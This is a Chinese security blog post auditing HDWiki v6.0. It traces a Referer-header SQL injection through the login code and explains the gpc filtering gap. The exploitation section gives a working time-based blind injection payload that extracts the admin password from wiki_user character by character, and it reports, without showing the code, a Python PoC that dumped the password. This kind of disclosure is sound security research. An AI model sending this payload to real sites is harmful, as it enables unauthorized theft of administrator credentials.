前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >代码审计 | HDWiki v6.0最新版referer注入漏洞

代码审计 | HDWiki v6.0最新版referer注入漏洞

作者头像
FB客服
发布2018-07-30 15:01:55
1K0
发布2018-07-30 15:01:55
举报
文章被收录于专栏:FreeBuf

0×00概述

近期在审计HDWiki 6.0最新版cms的时候发现由referer导致的sql注入问题。SQL注入我们知道是由于代码与数据没有严格区别限制分离而导致的问题,OWASP TOP 10常年把SQL注入放在TOP 1的位置,可知SQL注入的危害以及影响力是很大的。

SQL注入我们一般平时寻找的时候习惯性的只从GET,POST提交的数据进行测试(比如跑sqlmap的时候),但是其实如果我们仔细一想注入产生的条件是什么,SQL注入是客户端提交的数据未严格过滤限制进入数据库执行而导致的问题,只要是与数据库可以交互的地方都可能存在SQL注入问题,这点白盒审计的时候经常会遇到,比如cookie注入,User-Agent注入,referer注入,X-Forwarded-For注入等,这些点都是可以与数据库进行交互的,如果未作严格限制,就会导致注入问题。

0×01 白盒审计

源码信息:HDwiki v6.0

问题文件: \hdwiki\control\user.php

漏洞类型:sql注入

站点地址:http://kaiyuan.hoodong.com/download/(阅读原文查看)

环境:php版本小于5.4且开启gpc

具体安装就不讲了,遇到问题可以百度一下哈。

安装成功之后进入主界面如下,

可以看到存在登录页面,好我们去看下登录部分存不存在问题;

通过白盒审计工具seay我们找到登录部分为control/user.php

可以看到dologin()函数里add_referer()函数,继续跟进此函数;

在model/user.class.php文件里,超全局变量$_SERVER[‘HTTP_REFERER’]带入数据库而执行,也就是referer参数,但是我们看到前面存在haddslashes函数,是用来过滤的,继续跟进此函数;

在lib/string.class.php文件里

此函数确实是过滤用户输入的,当gpc未开启的时候使用addslashes()函数进行过滤,当开启gpc的时候直接返回,那么问题就来了,当php开启gpc的时候直接返回字符串,但是gpc是只针对_POST,$_COOKIE三种超全局变量进行过滤的,即referer是不受限制的,还有gpc在php版本大于等于5.4之后是弃用的,所以当php版本小于5.4的时候只要php开启gpc,referer就不受任何过滤直接带入数据库执行,所以就存在注入问题了。

0×02 漏洞利用

此处由于没有任何数据的回显只能通过盲注进行SQL注入,我们使用延时注入,我们使用抓包工具burpsuite抓取登录界面如下;

代码语言:javascript
复制
http://127.0.0.1/HDWiki-v6.0UTF8-20170209(2)/hdwiki/index.php?user-login

可以看到没有referer参数,我们手工添加referer并且带上payload;

代码语言:javascript
复制
$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");

由于带入数据库的时候是UPDATE语句并且使用WHERE语句所以我们不能使用and需要使用where接入payload并且使用注释符过滤后面程序原有的语句,最终payload为;

代码语言:javascript
复制
referer:' where if((substr((select password from wiki_user where username='admin'),1,1))='e',sleep(3),0)#

但是刚开始测试的时候发现延迟不了,后来发现需要登陆进去,可以随便注册一个账号进去。

可以看到成功延时注入,当管理员账号密码第一位为’e’的时候延时三秒返回。

0x03POC

用python完成poc把管理员账号的密码打出来;

测试结果如下;

成功打出admin的密码信息了。

*本文原创作者:davichi8282,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-05-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0×01 白盒审计
  • 0×02 漏洞利用
  • 0x03POC
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档